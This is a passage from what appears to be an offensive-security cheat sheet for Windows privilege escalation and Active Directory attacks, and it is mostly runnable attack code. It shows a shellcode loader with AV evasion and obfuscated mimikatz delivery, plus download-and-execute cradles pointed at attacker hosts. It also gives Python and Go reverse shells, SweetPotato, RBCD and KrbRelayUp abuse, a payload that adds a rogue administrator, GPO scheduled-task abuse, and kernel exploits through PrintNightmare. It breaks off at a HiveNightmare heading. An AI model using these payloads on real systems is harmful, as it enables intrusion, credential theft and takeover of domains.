    lenbuff = len(buff) ; space = k32.VirtualAlloc(c.c_int(0),c.c_int(lenbuff),c.c_int(0x3000),c.c_int(0x40)) ; buff = ( c.c_char * lenbuff ).from_buffer_copy( buff )
    k32.RtlMoveMemory(c.c_void_p(space),buff,c.c_int(lenbuff)) ; buff = "" ; del buff ; print(f"[*] Loading SC, Len:{lenbuff}\n", flush=True)
    handle = ct(c.c_int(0),c.c_int(0),c.c_void_p(space),c.c_int(0),c.c_int(0),c.pointer(c.c_int(0)))
    k32.WaitForSingleObject(handle, -1); print(f"\n[*] Graceful exit", flush=True)
print(f"\n[*] {p.platform()} Python {p.python_version()} ({p.architecture()[0]})", flush=True)
EOF

For demonstration we will use mimikatz as payload
# Set any parameter you want but if empty donut will send args to stdin at runtime (you can set it to space " " if you don't want any)
# PARAMS='privilege::debug sekurlsa::logonpasswords'
PARAMS=' '
INPUT_FILE='/var/www/html/mimikatz64.exe'
SHELLCODE_OUTPUT_FILE='/tmp/mimikatz64sc'
ENCODED_PAYLOAD_FILE='/var/www/html/mimi64'
python3 -c "import donut; donut.create(thread=0,compress=2,bypass=1,exit_opt=3,arch=2,file='$INPUT_FILE',output='$SHELLCODE_OUTPUT_FILE',params=bytes.fromhex('$( echo -en "$PARAMS" | xxd -plain | tr -d '\n' )').decode('utf-8'))"
cat "$SHELLCODE_OUTPUT_FILE" | xxd -plain | tr -d '\n' | rev | gzip | sudo tee "$ENCODED_PAYLOAD_FILE" >/dev/null

# test : msfvenom -p windows/x64/exec CMD="calc.exe" -f raw | xxd -plain | tr -d '\n' | rev | gzip | sudo tee /var/www/html/sc >/dev/null

Powershell script to call python
cat <<'EOF'|sudo tee /var/www/html/startmimi64
$loadsc="$web/loadsc"; $sc="$web/mimi64"; $python="$web/python.zip"; $dir="$env:TEMP";
$Exists = Test-Path "$dir\python\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python.zip", "$dir\python\")};
&$dir\python\python.exe -c "import urllib.request as r;exec(bytes.fromhex(r.urlopen('$loadsc').read()[::-1].decode('utf-8')));load('$sc')";
EOF
# &$env:TEMP\python\python.exe -c "print('test')"

$web="http://1.2.3.4";IEX(New-Object Net.WebClient).downloadString("$web/startmimi64")

# ONLINE TEST for heap method (educational purpose only)
$web="https://dl.offensive.run";IEX(New-Object Net.WebClient).downloadString("$web/startmimi64")
# ONLINE TEST for VirtualAlloc method (educational purpose only)
$web="https://dl.offensive.run";IEX(New-Object Net.WebClient).downloadString("$web/startmimi64va")

Privileges

SeImpersonate

SeImpersonatePrivilege privilege is enabled on services account like iis or mssql
whoami /all
[...]
Privilege Name                Description                               State
============================= ========================================= ========
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
[...]
SweetPotato leverage SeImpersonate Privilege to run arbitrary commands as SYSTEM using DCOM, WinRM, EfsRpc, or PrintSpoofer method.

Let’s abuse SeImpersonatePrivilege privilege with SweetPotato.exe as shellcode
(Require to serve embeddable python as python.zip, loadsc from AV Bypass section, and to install donut-shellcode with pip)
You need to retrieve or compile SweetPotato.exe
sudo wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/SweetPotato.exe -O /var/www/html/SweetPotato.exe
# Params
IP="192.168.1.163"
PORT=53
WRITABLEPATH="C:\\Users\\user.DOMAIN\\Documents" # (Writable by current user to download python)
INPUT_FILE='/var/www/html/SweetPotato.exe'

PARAMS="import urllib.request as r;exec(bytes.fromhex(r.urlopen('http://$IP/payload').read()[::-1].decode('utf-8')));"
PARAMS="-e EfsRpc -p \"$WRITABLEPATH\python\python.exe\" -a "'"-c \"'"$PARAMS"'\""'
# Python reverse shell payload
cat <<EOF|sudo tee /var/www/html/payload
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa="""
import time,socket,os,threading,subprocess as sp; flags = 0x08000000  # CREATE_NO_WINDOW
p=sp.Popen(['powershell.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT, close_fds=False, creationflags=flags, universal_newlines=True, shell=False);s=socket.socket()
for retry in range(12):
    try: s.connect(('$IP',$PORT));break
    except Error as e: time.sleep(5)
NL=os.linesep.encode();os.write(p.stdin.fileno(),b"\$OutputEncoding = [console]::InputEncoding = [console]::OutputEncoding = New-Object System.Text.UTF8Encoding ;cd /users;powershell;exit; "+NL)
time.sleep(1);os.read(p.stdout.fileno(),1024);os.write(p.stdin.fileno(),NL+b"ls"+NL)
threading.Thread(target=exec,args=('while(True):o=os.read(p.stdout.fileno(),1024);s.send(o);time.sleep(0.01)',globals()),daemon=True).start();
threading.Thread(target=exec,args=('while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i);time.sleep(0.01)',globals()),daemon=True).start();
while p.poll() is None: time.sleep(1)
s.send(b"Quitting..."+NL);s.shutdown()
"""
import subprocess as sp,sys
flags = 0
flags |= 0x00000008  # DETACHED_PROCESS
flags |= 0x00000200  # CREATE_NEW_PROCESS_GROUP
p = sp.Popen([sys.executable, '-c', aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa], close_fds=True, creationflags=flags)
EOF

# Encode python payload
cat /var/www/html/payload| xxd -plain | tr -d '\n' | rev | sudo tee /var/www/html/payloadtmp >/dev/null
sudo mv /var/www/html/payloadtmp /var/www/html/payload

# Generating SweetPotato shellcode with donut
python3 -c "import donut; donut.create(file='$INPUT_FILE',output='/tmp/sc',params=bytes.fromhex('$(echo -n "$PARAMS" | xxd -plain | tr -d '\n')').decode('utf-8'))"
cat "/tmp/sc" | xxd -plain | tr -d '\n' | rev | gzip | sudo tee "/var/www/html/sc" >/dev/null

# Powershell script to call
cat <<EOF|sudo tee /var/www/html/start
\$Exists = Test-Path "$WRITABLEPATH\python\";If (\$Exists -eq \$False) {(New-Object Net.WebClient).DownloadFile("http://$IP/python.zip","$WRITABLEPATH\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$WRITABLEPATH\python.zip", "$WRITABLEPATH\python\")}
\$arguments = @("-c","""import urllib.request as r;exec(bytes.fromhex(r.urlopen('http://$IP/loadsc').read()[::-1].decode('utf-8')));load('http://$IP/sc')""")
Start-Process -NoNewWindow -FilePath "$WRITABLEPATH\python\python.exe" -ArgumentList \$arguments
EOF

# Wait for connection
sudo tail -n 0 -f /var/log/nginx/*.log &
sudo nc -nvlp $PORT -s $IP

IEX(New-Object Net.WebClient).downloadString("http://192.168.1.163/start")

SeImpersonate OLD

Abusing SeImpersonate on old systems
sudo -i
wget https://github.com/Re4son/Churrasco/raw/master/churrasco.exe -O /var/www/html/churrasco.exe
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.139 LPORT=53 EXITFUNC=thread -f exe -a x86 --platform windows -o /var/www/html/shell_reverse_tcp.exe
smbserver.py -ip 10.10.14.139 -port 445 PWN /var/www/html/ &
nc -nvlp 53 -s 10.10.14.139
\\10.10.14.139\PWN\churrasco.exe -d "c:\windows\system32\cmd.exe /C \\10.10.14.139\PWN\shell_reverse_tcp.exe"

RBCD LPE/RCE (AD)

RBCD attack rely on 4 domains accounts:
- Compromised account (ex: low privilege user, relayed computer/user)
- Compromised service account (ex: a new fake computer)
- Targeted service account (ex: targeted machine)
- Impersonated user account (ex: domain/Administrator)

RBCD steps:
- 1: Use “Compromised account” to create a new computer account in domain, that will be our “Compromised service account” (Optional if you already control a service account)
- 2: Use “Compromised account” write access to declare that “Compromised service account” can act on behalf of other identity for “Targeted service”
- 3: Use “Compromised service account” to ask for TGT, impersonating “Impersonated user” on “Targeted service” (S4U2Self + S4U2Proxy)
- 4: Use TGT on “Targeted service”

RBCD requirements:
- Compromised account have GenericWrite/GenericAll/WriteDacl/WriteOwner/Owns/WriteAccountRestrictions/AllowedToAct rights on targeted service account (ex: user that have GenericWrite access on targeted machine)
- If relaying step 1 & 2, LDAP signing must NOT be enforced (default setting).
- If you don’t already have compromised a service account you can create a new fake computer account, but MAQ domain attribute (“MS-DS-Machine-Account-Quota”) must be >0 (default setting is 10)
- Impersonated user must NOT be part of “protected users” group (except Administrator rid500 which isn’t affected)
- Impersonated user must NOT have the NOT_DELEGATED flag (“Account is sensitive and cannot be delegated” option)

crackmapexec ldap <dcip> -u user -p pass -M ldap-checker # Check if LDAP signing is enforced (if relaying)
crackmapexec ldap <dcip> -d domain -u user -p pass -M maq # Machine Account Quota

# Detect RBCD paths with Bloodhound
MATCH q=(u)-[:GenericWrite|GenericAll|WriteDacl|WriteOwner|Owns|WriteAccountRestrictions|AllowedToAct]->(:Computer) WHERE NOT u.objectid ENDS WITH "-512" AND NOT u.objectid ENDS WITH "-519" AND NOT u.objectid ENDS WITH "-544" AND NOT u.objectid ENDS WITH "-548" RETURN q

Here i’m using RBCD as LPE, i’m using chisel proxy to bypass FW on local target that doesn’t allow external connections, but you can use this as RCE as well.
You can skip this part if you don’t want proxy. I’m bypassing AV with python and a script named “loadsc”
# Run chisel server
docker run --name chisel --rm -d -p0.0.0.0:443:80 jpillora/chisel server --socks5 --reverse -v --auth bla:bla --port 80

# Prepare CHISEL shellcode
IP="192.168.1.163"
PORT="443"
SOCKS="5000"
PARAMS="client -v --auth bla:bla ${IP}:${PORT} R:0.0.0.0:${SOCKS}:socks"
python3 -c "import donut; donut.create(file='/var/www/html/chisel.exe',output='/tmp/chiselsc',params=bytes.fromhex('$(echo "$PARAMS" | tr -d '\n' | xxd -plain | tr -d '\n')').decode('utf-8'))"
cat /tmp/chiselsc | xxd -plain | tr -d '\n' | rev | gzip | sudo tee /var/www/html/chiselsc >/dev/null
echo -e '[ProxyList]\nsocks5 172.17.0.2 5000'>/tmp/TARGET1

# Powershell script to call
echo "\$ip=\"$IP\"" | sudo tee /var/www/html/startchisel
cat <<'EOF'|sudo tee -a /var/www/html/startchisel
$loadsc="http://$ip/loadsc"; $sc="http://$ip/chiselsc"
$python="http://$ip/python.zip"; $dir="$env:TEMP";$Exists = Test-Path "$dir\python\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python.zip", "$dir\python\")}
$arguments = @("-c","""import urllib.request as r;exec(bytes.fromhex(r.urlopen('$loadsc').read()[::-1].decode('utf-8')));load('$sc')""")
Start-Process -NoNewWindow -FilePath "$dir\python\python.exe" -ArgumentList $arguments
EOF

# IEX(New-Object Net.WebClient).downloadString('http://192.168.1.163/startchisel')

Settings vars
UNPRIVILEGED_USER="user" # (Domain user)
UNPRIVILEGED_USER_PASS="Testtesttest1!"

IMPERSONATED_USER="administrator" # Impersonated domain user
TARGET_MACHINE="DESKTOP-6495N20" # The machine you want access on
TARGET_MACHINE_IP="127.0.0.1" # If the proxy is on the targeted machine leave it to default "127.0.0.1"

DOMAIN="domain.local"
DC_NAME="WIN-SPQIBGNU0G1"
DC_IP="172.16.130.153"

PROXY='proxychains -q -f /tmp/TARGET1'

NEW_MACHINE_NAME='FIOEJIOFJIFEIE' # 15 characters MAX
NEW_MACHINE_PASS='a1_FMEROGKIOJCVIODVHDSHFIOEJFI'

Exploit
# Move to a new dir
cd $(mktemp -d)

# Read the attributes of targeted machine (INFO)
$PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -dc-ip "$DC_IP" -action 'read' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS"

# Add a new computer to domain
$PROXY addcomputer.py -computer-name "$NEW_MACHINE_NAME\$" -computer-pass "$NEW_MACHINE_PASS" -dc-ip "$DC_IP" -dc-host "$DC_NAME.$DOMAIN" "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS"

# Update msDS-AllowedToActOnBehalfOfOtherIdentity attribute of targeted machine
$PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -delegate-from "$NEW_MACHINE_NAME\$" -dc-ip "$DC_IP" -action 'write' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS"

# Retrieve TGT for targeted machine with impersonated user, using the new computer account. (S4U2Self + S4U2Proxy)
$PROXY getST.py -spn "CIFS/$TARGET_MACHINE.$DOMAIN" -impersonate "$IMPERSONATED_USER" -dc-ip "$DC_IP" "$DOMAIN"/"$NEW_MACHINE_NAME\$":"$NEW_MACHINE_PASS"

# Read TGT
mv *.ccache "$IMPERSONATED_USER.ccache"
export KRB5CCNAME="$(pwd)/$IMPERSONATED_USER.ccache"
klist "$KRB5CCNAME"

Use TGT
# Use Kerberos ticket
$PROXY secretsdump.py -k "$TARGET_MACHINE.$DOMAIN" -target-ip "$TARGET_MACHINE_IP" -history
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" 'powershell.exe "whoami /all"'
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" 'whoami /all' -shell-type powershell # Not the best for AV bypass
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "net localgroup Administrators /add $DOMAIN\\$UNPRIVILEGED_USER" # EN
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "net localgroup Administrateurs /add $DOMAIN\\$UNPRIVILEGED_USER" # FR

# Reverse Shell
IP="192.168.1.163"
PORT=53

echo "\$ip=\"$IP\"; \$port=$PORT;" | sudo tee /var/www/html/rs
cat <<'EOF'| sudo tee -a /var/www/html/rs
$process="powershell.exe"; $python="http://$ip/python.zip"; $dir="$env:TEMP";$Exists = Test-Path "$dir\python\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python.zip", "$dir\python\")};
$arguments=@("-c","""import time,socket,os,threading,subprocess as sp;p=sp.Popen(['$process'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('$ip',$port));threading.Thread(target=exec,args=('while(True):o=os.read(p.stdout.fileno(),1024);s.send(o);time.sleep(0.01)',globals()),daemon=True).start();threading.Thread(target=exec,args=('while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i);time.sleep(0.01)',globals())).start()""");
Start-Process -NoNewWindow -FilePath "$dir\python\python.exe" -ArgumentList $arguments;
EOF

# Wait for connection
tail -n 0 -f /var/log/nginx/*.log &
sudo nc -nvlp $PORT -s $IP

CMD="IEX(New-Object Net.WebClient).downloadString('http://$IP/rs');"
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "powershell \"$CMD\"" -nooutput -silentcommand

CLEANUP (..you probably won’t have the rights to delete the computer)
$PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -delegate-from "$NEW_MACHINE_NAME\$" -dc-ip "$DC_IP" -action 'flush' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS"
$PROXY addcomputer.py -computer-name "$NEW_MACHINE_NAME\$" -computer-pass "$NEW_MACHINE_PASS" -dc-ip "$DC_IP" -dc-host "$DC_NAME.$DOMAIN" "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS" -delete

KrbRelayUp Tool (AD)

KrbRelayUp.exe is a collection of tools that aim to leverage security issues in Windows Active Directory configuration/infrastructure to perform LPE.
KrbRelayUp have 3 differents methods/path to perform LPE: SHADOWCRED, ADCS and RBCD.
SHADOWCRED and ADCS are based on ADCS presence, but we are using RBCD here.

Requirements for this attack:
Unprivileged user must have a Write access on machine
LDAP signing must NOT be enforced (default setting).
“MS-DS-Machine-Account-Quota” domain attribute must be >0 (default setting is 10)
Impersonated user must NOT be part of “protected users” group
Impersonated user must NOT have the NOT_DELEGATED flag

Ensure LDAP signing is not enforced on client side (0:disabled, 1:optionnal, 2:enforced)
Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\ldap' | Select-Object -ExpandProperty LdapClientIntegrity

Let’s get started by serving KrbRelayUp.exe
sudo wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/KrbRelayUp.exe -O /var/www/html/KrbRelayUp.exe
Then, run the relay phase
(New-Object System.Net.WebClient).DownloadFile('http://1.2.3.4/KrbRelayUp.exe', "$home\Documents\KrbRelayUp.exe")
&$home\Documents\KrbRelayUp.exe relay -cls '000C101C-0000-0000-C000-000000000046' -p 8889 -v -d domain.com -CreateNewComputerAccount -cn evilfakehost -cp BeepBoop_7 -dc DC01 2>&1
Sometime you need to pick another CLSID or run GetCLSID.ps1 on target to retrieve all available CLSID (some on them don’t work)
WinServer2022: “000C101C-0000-0000-C000-000000000046” (MSIServer)
this CLSID is also present in W7,8,10*,2008,2012,2016
Once relay phase is completed, we can proceed with the spawn phase.
For this step i’m using a powershell payload to add a new administrator, and i’m wrapping it into a golang executable
cat <<'EOF'>/tmp/payload.ps1
net user hackerbeepboop Blabliblou_1 /ADD ; net localgroup Administrators hackerbeepboop /ADD ; net localgroup "Remote Desktop Users" hackerbeepboop /ADD
EOF
cat <<EOF>/tmp/beepboop.go
package main
import ("os/exec";"fmt";"log")
func main() {
    cmd := exec.Command("powershell.exe","-NoProfile","-NonInteractive","-EncodedCommand","$(cat /tmp/payload.ps1 | iconv -f UTF8 -t UTF16LE | base64 -w0)")
    out, err := cmd.Output()
    if err != nil {log.Fatal(err)} else {fmt.Printf("%s",out)}
}
EOF
env GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -ldflags "-s -w" -o /tmp/beepboop.exe /tmp/beepboop.go
chmod 644 /tmp/beepboop.exe && sudo mv /tmp/beepboop.exe /var/www/html/
Next, call KrbRelayUp.exe to perform the spawn step
(New-Object System.Net.WebClient).DownloadFile('http://1.2.3.4/beepboop.exe', "$home\Documents\beepboop.exe")
&$home\Documents\KrbRelayUp.exe spawn -d domain.com -cn evilfakehost$ -cp BeepBoop_7 -dc DC01 -sc "$home\Documents\beepboop.exe" 2>&1

Abusing GPOs (AD)

Using powershell to create a new computer immediate task into existing GPO “Default Domain Controllers Policy”
# Parameters
$GUID = '{6AC1786C-016F-11D2-945F-00C04fB984F9}' # Default Domain Controllers Policy
$TaskCommand = 'CMD.EXE'
$TaskArguments = '/C mkdir c:\GPO_ABUSE_PROOF'
$TaskUser = 'NT AUTHORITY\System'
$TaskAuthor = 'Hacker'
$TaskName = 'Hacker'
$TaskRunLevel = 'HighestAvailable'

# Using the Primary Domain Controller SYSVOL
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$GPOpath = "\\" + $domainObj.PdcRoleOwner.Name + "\SysVol\" + $domainObj.Name + "\Policies\$GUID"
$ScheduledTasksFolder = "$GPOpath\Machine\Preferences\ScheduledTasks\"
$ScheduledTasksFile = "$ScheduledTasksFolder\ScheduledTasks.xml"
$GPTini = "$GPOpath\GPT.INI"

# Ensure the scheduled tasks folder is created
New-Item -ItemType Directory -Path $ScheduledTasksFolder -Force

# New task as XML
$TaskXml = @"
<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="$TaskName" image="0" changed="2024-06-15 22:01:10" uid="$((New-Guid).Guid)"><Properties action="C" name="$TaskName" runAs="$TaskUser" logonType="S4U"><Task version="1.3"><RegistrationInfo><Author>$TaskAuthor</Author><Description></Description></RegistrationInfo><Principals><Principal id="Author"><UserId>$TaskUser</UserId><LogonType>S4U</LogonType><RunLevel>$TaskRunLevel</RunLevel></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable><AllowStartOnDemand>true</AllowStartOnDemand><Enabled>true</Enabled><Hidden>false</Hidden><RunOnlyIfIdle>false</RunOnlyIfIdle><WakeToRun>false</WakeToRun><ExecutionTimeLimit>P3D</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter></Settings><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers><Actions Context="Author"><Exec><Command>$TaskCommand</Command><Arguments>$TaskArguments</Arguments></Exec></Actions></Task></Properties></ImmediateTaskV2></ScheduledTasks>
"@

# Write task XML to file on DC SysVol
[System.IO.File]::WriteAllText($ScheduledTasksFile, $TaskXml)

# Increment GPO version number (Optional if using gpupdate)
$GPO = [ADSI]("LDAP://" + $domainObj.PdcRoleOwner.Name + "/CN=$GUID,CN=Policies,CN=System,$(([adsi]'').distinguishedName)")
$GPOversion = $GPO.psbase.Properties["versionNumber"].Value
$GPO.psbase.Properties["versionNumber"].Value++
$GPO.SetInfo()

# Increment GPT.INI version number (Optional if using gpupdate)
$GPTiniContent = (Get-Content $GPTini)
$GPTiniRegex = [RegEx]::Matches($GPTiniContent,"Version=(\d+)")
$GPTiniVersion = [int]$GPTiniRegex.Groups[1].Value
$GPTiniContent -replace "Version=$GPTiniVersion", "Version=$($GPOversion+1)" | Set-Content $GPTini

# Refresh GPO on current machine (and loading your payload)
gpupdate /Target:Computer /force

CVE LPE


# List OS, KB
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates

# Checking env
# syswow64 lets you run 32 bit system executables from 64 bit code. sysnative lets you run 64 bit system executables from 32 bit code.
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "ls env:"
powershell.exe -c "ls env:"

# List .Net framework
dir /A:D c:\Windows\Microsoft.NET\Framework

MS15051

Tested on 2008 R2
sudo -i
cd /var/www/html/
wget https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS15-051/MS15-051-KB3045171.zip
unzip MS15-051-KB3045171.zip
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.36 LPORT=53 EXITFUNC=thread -f exe -a x86 --platform windows -o /var/www/html/shell_reverse_tcp.exe
smbserver.py -ip 10.10.14.36 -port 445 PWN /var/www/html/ &
nc -nvlp 53 -s 10.10.14.36
\\10.10.14.36\PWN\MS15-051-KB3045171\Source\ms15-051\x64\ms15-051x64.exe "CMD /C \\10.10.14.36\PWN\shell_reverse_tcp.exe"

MS16032

CVE-2016-0099
Targets : Win7-Win10 & 2k8-2k12 <== 32/64 bit!
Requirements: 2+ CPU
sudo wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-MS16032.ps1 -O /var/www/html/ms16032.ps1
# Check number of processors
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "ls env:"

# Exploit and run whoami to a file
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "IEX(New-Object Net.Webclient).downloadString('http://10.10.14.121/ms16032.ps1'); Invoke-MS16032 -Command 'CMD.EXE /C whoami.exe > C:\ms16032'"
type C:\ms16032

# Exploit and run powershell encoded command
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "IEX(New-Object Net.Webclient).downloadString('http://10.10.14.121/ms16032.ps1'); Invoke-MS16032 -Command 'CMD.EXE /C powershell -e BEEPBOOP=='"

CVE-2018-8120

sudo wget https://github.com/rip1s/CVE-2018-8120/raw/master/Release/CVE-2018-8120.exe -O /var/www/html/CVE20188120x32.exe
sudo wget https://github.com/rip1s/CVE-2018-8120/raw/master/x64/Release/CVE-2018-8120.exe -O /var/www/html/CVE20188120x64.exe
CMD.EXE /C "mkdir c:\r & cd c:\r & certutil.exe -urlcache -split -f http://10.10.14.121/CVE20188120x32.exe CVE20188120x32.exe & start /b c:\r\CVE20188120x32.exe whoami"

PrintNightmare

CVE-2021-1675
KB : KB5004945 06 July 2021
Print Nightmare (didn’t try)
sudo wget https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1 -O /var/www/html/CVE20211675.ps1
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "IEX(New-Object Net.Webclient).downloadString('http://10.10.14.121/CVE20211675.ps1'); Invoke-Nightmare -DriverName 'BEEPBOOP' -NewUser 'hacker' -NewPassword 'Hackerbeepboop_1'"

Or with the cube0x0 exploit :
We make use of a golang dll payload
cat <<'EOF'| tee /tmp/reverse.go
package main

import (
    "bufio"
    "net"
    "os/exec"
    "strings"
)

// DLL
func init() {
    main()
}

func main() {
    conn, _ := net.Dial("tcp", "192.168.45.178:4445")
    for {
    f, _ := bufio.NewReader(conn).ReadString('\n')
    g := strings.TrimSuffix(f, "\n")
    h, i, _ := strings.Cut(g, "~")
    cmd := exec.Command(h, i)
    cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
    cmd.Run()
    }
}
EOF
env GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -ldflags="-s -w" -buildmode=c-shared -o /tmp/reverse.dll /tmp/reverse.go
sudo wget https://dl.offensive.run/SharpPrintNightmare.exe -O /var/www/html/SharpPrintNightmare.exe
sudo cp /tmp/reverse.dll /var/www/html/
nc -nvlp 4445
cd C:\users\any\
wget http://192.168.45.111/SharpPrintNightmare.exe -O SharpPrintNightmare.exe
wget http://192.168.45.111/reverse.dll -O reverse.dll
.\SharpPrintNightmare.exe C:\users\any\reverse.dll

HiveNightmare

CVE-2021-36934